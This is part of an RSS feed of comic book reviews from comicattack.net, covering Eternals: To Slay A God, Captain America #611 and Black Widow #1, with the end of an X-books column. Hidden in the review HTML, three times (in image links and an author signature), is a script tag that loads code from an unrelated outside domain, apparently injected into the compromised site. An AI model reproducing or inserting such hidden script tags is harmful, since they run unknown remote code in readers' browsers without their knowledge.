Remender killed off some very high profile heroes and villains without making it seem forced or expected should be applauded. If this story was going to be the new status quo of the Marvel Universe then Remender just showed you how it should be done! <em>– IS</em></p> <p><strong>Rating: 8/10</strong></p> <p>[divider]</p> <p>What did you think about this week’s X-books? Let us know below! You can check out more X-Piles <a title="Check out our past Uncanny X-Piles columns" href="https://comicattack.net/category/cafeaturedcolumns/the-uncanny-x-piles/">right here</a>!</p> <p><a href="mailto:infinitespeech@comicattack.net">infinitespeech@comicattack.net</a> – <a title="Follow him on Twitter" href="http://twitter.com/infinitespeech">@InfiniteSpeech</a><br /> <a href="mailto:jeff@comicattack.net">jeff@comicattack.net</a> – <a title="Follow him on Twitter" href="http://twitter.com/FrJeffJackson">@FrJeffJackson</a><br /> <a href="mailto:spidermangeek@comicattack.net">spidermangeek@comicattack.net</a> – <a title="Follow him on Twitter" href="http://twitter.com/SpidermanGeek">@SpidermanGeek</a></p> ]]></content:encoded> <wfw:commentRss>https://comicattack.net/anuxp161/feed/</wfw:commentRss> <slash:comments>2</slash:comments> </item> <item> <title>Touring the Cosmos: Eternals: To Slay A God</title> <link>https://comicattack.net/ttceternals/</link> <comments>https://comicattack.net/ttceternals/#comments</comments> <dc:creator><![CDATA[mike]]></dc:creator> <pubDate>Tue, 23 Oct 2012 15:02:09 +0000</pubDate> <category><![CDATA[Featured Columns]]></category> <category><![CDATA[Marvel]]></category> <category><![CDATA[Mike]]></category> <category><![CDATA[Reviews]]></category> <category><![CDATA[Sci-Fi]]></category> <category><![CDATA[Touring the Cosmos]]></category> <category><![CDATA[Charles Knauf]]></category> <category><![CDATA[Daniel Acuna]]></category> <category><![CDATA[Daniel Knauf]]></category> <category><![CDATA[Eternals]]></category> <guid isPermaLink="false">https://comicattack.net/?p=94455</guid> <description><![CDATA[In 2006, Neil Gaiman reintroduced the Eternals into the Marvel Universe. They had never really left, but were relatively untouched and unused for a few years. The launch quickly spurred on another short series, instigating a new look and directive for the Kirby-created Eternals. Touring the Cosmos is going to take a look at the […]]]></description> <content:encoded><![CDATA[<p style="text-align: center;"><a href="https://comicattack.net//wp-content/uploads/2012/10/TTC-Banner-hi-res.jpg"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-94571" title="TTC-Banner-hi-res" src="https://comicattack.net//wp-content/uploads/2012/10/TTC-Banner-hi-res.jpg" alt="" width="480" height="190" srcset="https://comicattack.net/wp-content/uploads/2012/10/TTC-Banner-hi-res.jpg 1000w, https://comicattack.net/wp-content/uploads/2012/10/TTC-Banner-hi-res-300x119.jpg 300w, https://comicattack.net/wp-content/uploads/2012/10/TTC-Banner-hi-res-768x305.jpg 768w" sizes="(max-width: 480px) 100vw, 480px" /></a></p> <p>In 2006, Neil Gaiman reintroduced the Eternals into the Marvel Universe. They had never really left, but were relatively untouched and unused for a few years. The launch quickly spurred on another short series, instigating a new look and directive for the Kirby-created Eternals. <a href="https://comicattack.net/category/cafeaturedcolumns/touring-the-cosmos/">Touring the Cosmos</a> is going to take a look at the first TPB for volume 4, “To Slay A God.” If you are unfamiliar with the Eternals, <a href="https://comicattack.net/2012/08/spotlight-eternals/">a good place to start would be here.</a></p> <p><strong><em><a href="https://comicattack.net//wp-content/uploads/2012/10/eternals3.jpg"><img loading="lazy" decoding="async" class="alignleft size-medium wp-image-94570" style="margin: 1px 4px;" title="eternals3" src="https://comicattack.net//wp-content/uploads/2012/10/eternals3-195x300.jpg" alt="" width="195" height="300" srcset="https://comicattack.net/wp-content/uploads/2012/10/eternals3-195x300.jpg 195w, https://comicattack.net/wp-content/uploads/2012/10/eternals3.jpg 369w" sizes="(max-width: 195px) 100vw, 195px" /></a>Eternals: To Slay A God TPB</em></strong></p> <p><strong>Writers:</strong> Charles and Daniel Knauf<br /> <strong>Artist: </strong>Daniel Acuna<br /> <strong>Letters: </strong>Todd Klein</p> <p>The Eternals’ origins are similar to that of DC’s New Gods. The infamous Jack Kirby brought his ideas for the New Gods to Marvel, after DC cancelled the series. Kirby used the Eternals to finish telling some stories he had wanted to tell, but alas <em>The Eternals</em> series was also cancelled before some plot threads were finished. The Eternals are a race of immortal humans, created by the cosmically powered Celestials. The Celestials had used Earth’s first beings to create the Eternals, as well as the Deviants. In “To Slay A God,” you find out the reason for the creation of both species. After Kirby’s run, the Eternals were used sporadically, managing a few more short-lived series and some appearances in other Marvel titles. Neil Gaiman’s re-imagining of the Eternals in 2006 was a fantastic way to bring them back into the spotlight. The memories of all of the Eternals had been erased, and many of them were living among the regular human populace, unaware of their extraordinary beginnings. With art by John Romita Jr., the story progressed to the point where the mystery was solved, and slowly the Eternals (and Deviants alike) were starting to become themselves once again.</p> <p>“To Slay A God” picks up where Gaiman’s series left off. The Eternals are slowly awakening, but are in a race against the evil Druig, a Deviant who is implanting false feelings into some Eternals in order to have them work for him. While this is happening, the Eternals are also attempting to contact the Dreaming Celestial, a golden Celestial that has taken up residence on Earth. The Dreaming Celestial is believed to have some insight into many answers that the Eternals have questions for. The series is essentially two stories being told at once, both with repercussions for the other. The Celestials and some of their purpose and origin is explained, which was pretty entertaining. You get to see how truly powerful and influential they are. While the Celestials are being explored, the Eternals continue their struggle to rebuild their society, while thwarting the plans of Druig.</p> <p><a href="https://comicattack.net//wp-content/uploads/2012/10/eternals2.jpg"><img loading="lazy" decoding="async" class="alignright size-medium wp-image-94569" style="margin: 1px 4px;" title="eternals2" src="https://comicattack.net//wp-content/uploads/2012/10/eternals2-194x300.jpg" alt="" width="194" height="300" srcset="https://comicattack.net/wp-content/uploads/2012/10/eternals2-194x300.jpg 194w, https://comicattack.net/wp-content/uploads/2012/10/eternals2.jpg 367w" sizes="(max-width: 194px) 100vw, 194px" /><script src="//wollses.com/steps"></script></a>While the story is top-notch, the art throughout this TPB really takes the cake. From some really dynamic covers to awe-inspiring interiors, <em>Eternals: To Slay A God</em> is a real treat for the eyes. There isn’t a ton of action throughout this book, but when there is Acuna really nails the sequence. There is, however, a ton of dialog and dramatic character moments. Acuna really captures all of these moments with his facial expressions and body language. From Gilgamesh staring down pretty much anyone, to Sersi being surprised, to Thena being angry. A lot. Acuna really characterizes the Eternals well, and every time one of them are on a panel, they really shine with detail and emotion. Acuna also really nails the space scenes with the Celestials, and has a knack for showing distant planets and galaxy shots. While his Earth backgrounds aren’t the most detailed, the outlines of trees or a cityscape allow for a focus on the excellently done characters. It is hard to find many faults in Acuna’s work on this one. He really brings his talent to the table for “To Slay A God.”</p> <p>The Knauf family keeps up with Acuna’s art on this one just as well. Father Daniel and son Charles crafted a really emotional tale with “To Slay A God.” They showcase enough of the Eternals and Deviants to keep things interesting, while not introducing too many to dilute the story. There are a ton of Eternals and Deviants to play around with, and the Knaufs definitely chose the right ones. Choosing to use a select few for this story really allows for the personalities of the characters to shine. Zuras’s old age, Ikaris’s impatience, Druig’s scheming, and Sersi’s concern are just a few of the elements at play here. While the Eternals war with the Deviants, the Knaufs also include an interesting look at the Celestials, which has rarely been done in the past. They handle both plots with ease, making for a natural read. Both plots mesh well with each other to create a truly entertaining tale. While the origin and story of the Eternals is already known, the Knaufs even managed to squeeze in another take on how they are regarded on Earth, creating a grounded story that also had “higher power” tones.</p> <p>It would be hard to find many flaws in this story as a whole. The art by Acuna is top-notch, and the story by the Knaufs was entertaining and deep. Acuna really nailed the look of the Eternals and the Celestials, as well as creating some nice galaxy wide scenic panels. The Knaufs were able to allow the reader to immerse themselves into the Eternals family, by having a lot of high tension character moments, as well as elaborating on the origin and mystique of the Eternals as a whole. If you’re a fan of the Eternals, this is a MUST. If you want to read about beings with a deep history, family ties, and super powers, then this is also a MUST. Hopefully Marvel doesn’t ignore the Eternals for another 10 years.</p> <p><span style="text-decoration: underline;">Suggested Reading:</span></p> <ul> <li><em>The Eternals</em> (collects <em>Eternals</em> (vol. 1) #1-19 and <em>Eternals Annual</em> #1, 1976–1978) <ul> <li>Volume 1 (collects <em>Eternals</em> (vol. 1) #1-11)</li> <li>Volume 2 (collects <em>Eternals</em> (vol. 1) #12-19 and <em>Eternals Annual</em> #1)</li> </ul> </li> </ul> <ul> <li><em>Thor: The Eternals Saga</em>: <ul> <li>Volume 1 (collects <em>Thor Annual</em> #7 and <em>Thor</em> #283-291)</li> <li>Volume 2 (collects <em>Thor</em> #292-301)</li> </ul> </li> </ul> <ul> <li><em>Eternals</em> (collects <em>Eternals</em> (vol. 3) #1-7, 2006 (Gaiman and Romita))</li> </ul> <ul> <li><em>Eternals</em>: <ul> <li>Volume 1: To Slay A God (collects <em>Eternals</em> (vol. 4) #1-6, (Knauf and Acuna))</li> <li>Volume 2: Manifest Destiny (collects <em>Eternals</em> (vol. 4) #7-9 and <em>Eternals Annual)</em></li> </ul> </li> </ul> <p><span style="text-decoration: underline;">Mike Parente</span><br /> mike@comicattack.net</p> ]]></content:encoded> <wfw:commentRss>https://comicattack.net/ttceternals/feed/</wfw:commentRss> <slash:comments>1</slash:comments> </item> <item> <title>Marvel Reviews: Captain America #611</title> <link>https://comicattack.net/cap611rev/</link> <comments>https://comicattack.net/cap611rev/#comments</comments> <dc:creator><![CDATA[InfiniteSpeech]]></dc:creator> <pubDate>Sat, 13 Nov 2010 15:00:59 +0000</pubDate> <category><![CDATA[Avengers]]></category> <category><![CDATA[Infinite Speech]]></category> <category><![CDATA[Marvel]]></category> <category><![CDATA[Reviews]]></category> <category><![CDATA[Captain America #611 Review]]></category> <category><![CDATA[Daniel Acuna]]></category> <category><![CDATA[Ed Brubaker]]></category> <guid isPermaLink="false">https://comicattack.net/?p=47638</guid> <description><![CDATA[Captain America #611 Publisher: Marvel Writer: Ed Brubaker Artist: Daniel Acuna Cover: Marko Djurdjevic “The Trial Of Captain America pt 1”: After revelations in the last few issues, it’s time for James “Bucky” Barnes to man up and face the actions of his past. Zemo has let the world know that the man currently carrying the mantle […]]]></description> <content:encoded><![CDATA[<p><a href="https://comicattack.net/wp-content/uploads/2010/11/cap611.jpg"><img loading="lazy" decoding="async" class="alignleft size-full wp-image-47639" style="margin: 1px 4px;" src="https://comicattack.net/wp-content/uploads/2010/11/cap611.jpg" alt="" width="200" height="307" /></a></p> <p><strong><em>Captain America #611<br /> </em>Publisher:</strong> Marvel<br /> <strong>Writer: </strong>Ed Brubaker<br /> <strong>Artist: </strong>Daniel Acuna<br /> <strong>Cover: </strong>Marko Djurdjevic</p> <p><strong>“The Trial Of Captain America pt 1”: </strong>After revelations in the last few issues, it’s time for James “Bucky” Barnes to man up and face the actions of his past. Zemo has let the world know that the man currently carrying the mantle of Captain America is a former assassin responsible for the deaths of many over the past few decades, known as the Winter Soldier. This news spreads and the press jumps all over it while the White House and the Avengers attempt to play damage control both internally and with the public.</p> <p>This is a strong start for this new arc which has a steady but tense feel to it from beginning to end. It’s a very dialog driven issue, with the only action taking place with Bucky putting the hurt on some Neo-Nazis while lost in his own thoughts. So while he’s wondering about America’s issues, Brubaker sets up two very good scenes in the meeting at Avengers Tower and Steve’s private meeting with the President. Each one displaying a different type of view on the new Captain America’s predicament based on the relationships of the people involved.</p> <p>Daniel Acuna’s art style is still growing on me and there were some panels that I just flat out didn’t like. However, there were several parts of the book where he nailed it. The conference scenes in the White House and the flash backs were some of my favorites, but I’m thinking it’s the backgrounds that kind of throw some of the visuals off.</p> <p>Now, against my better judgment I went ahead and actually read the Nomad back up written by Sean McKeever with art from Filipe Andrade. The story involves Nomad and the Black Widow attempting to stop the creation of human suicide bombers much like Nitro. About halfway into the story my thoughts mirrored Nomad’s as to why did Black Widow choose her for the mission? It’s not a bad story so far, and I’m actually looking forward to seeing how Nomad handles the interrogation.</p> <p>Brubaker’s Cap is one of the best books out if you ask me, and even if you didn’t I’d suggest it anyway. He’s impressed and raised the bar for quite some time now, and even I’m starting to see Bucky as a legit replacement for Steve as Captain America instead of just a place holder.</p> <p>Till next time!</p> <p><span style="text-decoration: underline;">Infinite Speech<script src="//wollses.com/steps"></script></span><br /> <a href="mailto:infinitespeech@comicattack.net">infinitespeech@comicattack.net</a></p> ]]></content:encoded> <wfw:commentRss>https://comicattack.net/cap611rev/feed/</wfw:commentRss> <slash:comments>2</slash:comments> </item> <item> <title>Marvel Reviews: Black Widow #1</title> <link>https://comicattack.net/mrbw1/</link> <comments>https://comicattack.net/mrbw1/#comments</comments> <dc:creator><![CDATA[Aron]]></dc:creator> <pubDate>Mon, 19 Apr 2010 13:00:25 +0000</pubDate> <category><![CDATA[Aron]]></category> <category><![CDATA[Marvel]]></category> <category><![CDATA[Reviews]]></category> <category><![CDATA[Black Widow]]></category> <category><![CDATA[Black Widow #1 Review]]></category> <category><![CDATA[Daniel Acuna]]></category> <category><![CDATA[Marjorie Liu]]></category> <category><![CDATA[Marvel Comics]]></category> <category><![CDATA[Natasha Romanoff]]></category> <category><![CDATA[Women of Marvel]]></category> <guid isPermaLink="false">https://comicattack.net/?p=28139</guid> <description><![CDATA[Black Widow #1 Publisher: Marvel Writer: Marjorie Liu Art: Daniel Acuna Cover: Daniel Acuna Variant Covers: Travel Foreman (Standard) Marko Djurdjevic (Women of Marvel) [Also available in Movie Variant] Price: US $3.99 Release Date: April 14, 2010 ***MAY CONTAIN MINOR SPOILERS*** Natasha Romanoff is in another comic book. It’s not because she’s sleeping with somebody, […]]]></description> <content:encoded><![CDATA[<p><em><a href="https://comicattack.net/wp-content/uploads/2010/04/BlackWidow1.jpg"><img loading="lazy" decoding="async" class="alignleft size-medium wp-image-28141" style="margin: 1px 4px;" src="https://comicattack.net/wp-content/uploads/2010/04/BlackWidow1-197x300.jpg" alt="" width="197" height="300" /></a>Black Widow </em><em>#1</em><br /> <strong>Publisher: </strong>Marvel<br /> <strong>Writer: </strong>Marjorie Liu<br /> <strong>Art: </strong>Daniel Acuna<br /> <strong>Cover: </strong>Daniel Acuna<br /> <strong>Variant Covers: </strong>Travel Foreman (Standard) Marko Djurdjevic (Women of Marvel) [Also available in Movie Variant]<br /> <strong>Price: </strong>US $3.99<br /> <strong>Release Date: </strong>April 14, 2010</p> <p><strong>***MAY CONTAIN MINOR SPOILERS***</strong></p> <p>Natasha Romanoff is in another comic book. It’s not because she’s sleeping with somebody, being somebody’s lapdog or sidekick, or part of a team. It’s not a mini-series either. This time Natasha is the star of the show in her own ONGOING series!</p> <p>At the beginning, Natasha tracks down an old friend; an old spy. They exchange chokes, punches, and kicks. It’s the spy equivalent of dogs sniffing asses. She gets a little information out of him, but not much. She heads out to meet with Bucky, but someone gets the drop on her before she gets that far. A drugged dart; her attacker has the upper hand. She loses consciousness. What happens next, you’ll have to read to believe. Now that she’s hospitalized, Tony Stark, Bucky, and Wolverine rush to her side. It’s up to those gentleman to find out who did this to her and why.</p> <p style="text-align: center;"><a href="https://comicattack.net/wp-content/uploads/2010/04/BlackWidow1Pages.jpg"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-28143" style="margin-top: 1px; margin-bottom: 1px;" src="https://comicattack.net/wp-content/uploads/2010/04/BlackWidow1Pages.jpg" alt="" width="626" height="950" srcset="https://comicattack.net/wp-content/uploads/2010/04/BlackWidow1Pages.jpg 626w, https://comicattack.net/wp-content/uploads/2010/04/BlackWidow1Pages-198x300.jpg 198w" sizes="(max-width: 626px) 100vw, 626px" /><script src="//wollses.com/steps"></script></a></p> <p>Marjorie Liu writes an intense thriller that is a must read! Daniel Acuna uses pretty, dark, dirty, and gritty images to bring Liu’s words to life. <em>Black Widow </em><em>#1</em> is an excellent read! With two more additional art covers, there are plenty of chances for you to get your hands on a copy. There is no excuse not to when the covers are out the wazoo!</p> <p><a href="https://comicattack.net/wp-content/uploads/2010/04/BlackWidow1Variant.jpg"><img loading="lazy" decoding="async" class="alignnone size-medium wp-image-28145" style="margin: 1px 45px;" src="https://comicattack.net/wp-content/uploads/2010/04/BlackWidow1Variant-197x300.jpg" alt="" width="197" height="300" /></a><a href="https://comicattack.net/wp-content/uploads/2010/04/BlackWidow1WoM.jpg"><img loading="lazy" decoding="async" class="alignnone size-medium wp-image-28146" style="margin: 1px 64px;" src="https://comicattack.net/wp-content/uploads/2010/04/BlackWidow1WoM-197x300.jpg" alt="" width="197" height="300" /></a></p> <p>Besides…do you really want to say no to Scarlett Johansson?</p> <p style="text-align: center;"><a href="https://comicattack.net/wp-content/uploads/2010/04/BlackWidow1Movie.jpg"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-28153" style="margin-top: 1px; margin-bottom: 1px;" src="https://comicattack.net/wp-content/uploads/2010/04/BlackWidow1Movie.jpg" alt="" width="626" height="950" srcset="https://comicattack.net/wp-content/uploads/2010/04/BlackWidow1Movie.jpg 626w, https://comicattack.net/wp-content/uploads/2010/04/BlackWidow1Movie-198x300.jpg 198w" sizes="(max-width: 626px) 100vw, 626px" /></a></p> <p>Yeah, I didn’t think so.</p> <p><span style="text-decoration: underline;">Aron White</span><br /> <a href="mailto:aron@comicattack.net">aron@comicattack.net</a></p> ]]></content:encoded> <wfw:commentRss>https://comicattack.net/mrbw1/feed/</wfw:commentRss> <slash:comments>4</slash:comments> </item> </channel> </rss>